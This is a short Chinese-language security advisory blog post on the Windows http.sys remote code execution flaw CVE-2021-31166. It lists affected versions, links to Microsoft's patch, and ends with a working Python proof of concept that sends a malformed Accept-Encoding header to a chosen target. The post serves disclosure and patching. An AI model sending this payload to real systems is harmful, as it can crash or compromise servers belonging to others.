HTTP协议栈远程代码执行漏洞CVE-2021-31166

HTTP协议栈远程代码执行漏洞

Posted by hackeyes on May 22, 2021

漏洞详情

HTTP协议栈远程代码执行漏洞(CVE-2021-31166),该漏洞存在于HTTP 协议栈 (http.sys) 的处理程序中,未经身份验证的远程攻击者可通过向目标主机发送特制数据包来进行利用,从而在目标系统上以内核身份执行任意代码。

影响范围:

  • Windows Server, version 20H2 (Server Core Installation)
  • Windows 10 Version 20H2 for ARM64-based Systems
  • Windows 10 Version 20H2 for 32-bit Systems
  • Windows 10 Version 20H2 for x64-based Systems
  • Windows Server, version 2004 (Server Core installation)
  • Windows 10 Version 2004 for x64-based Systems
  • Windows 10 Version 2004 for ARM64-based Systems
  • Windows 10 Version 2004 for 32-bit Systems

修复建议:

目前微软官方已针对支持的产品版本发布了修复此漏洞的安全补丁,强烈建议受影响用户尽快安装补丁进行防护,官方下载链接:https://msrc.microsoft.com/update-guide/en-us/releaseNote/2021-May

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
import requests
import argparse

def main():
    parser = argparse.ArgumentParser('Poc for CVE-2021-31166: remote UAF in HTTP.sys')
    parser.add_argument('--target', required = True)
    args = parser.parse_args()
    r = requests.get(f'http://{args.target}/', headers = {
        'Accept-Encoding': 'doar-e, ftw, imo, ,',
    })
    print(r)

main()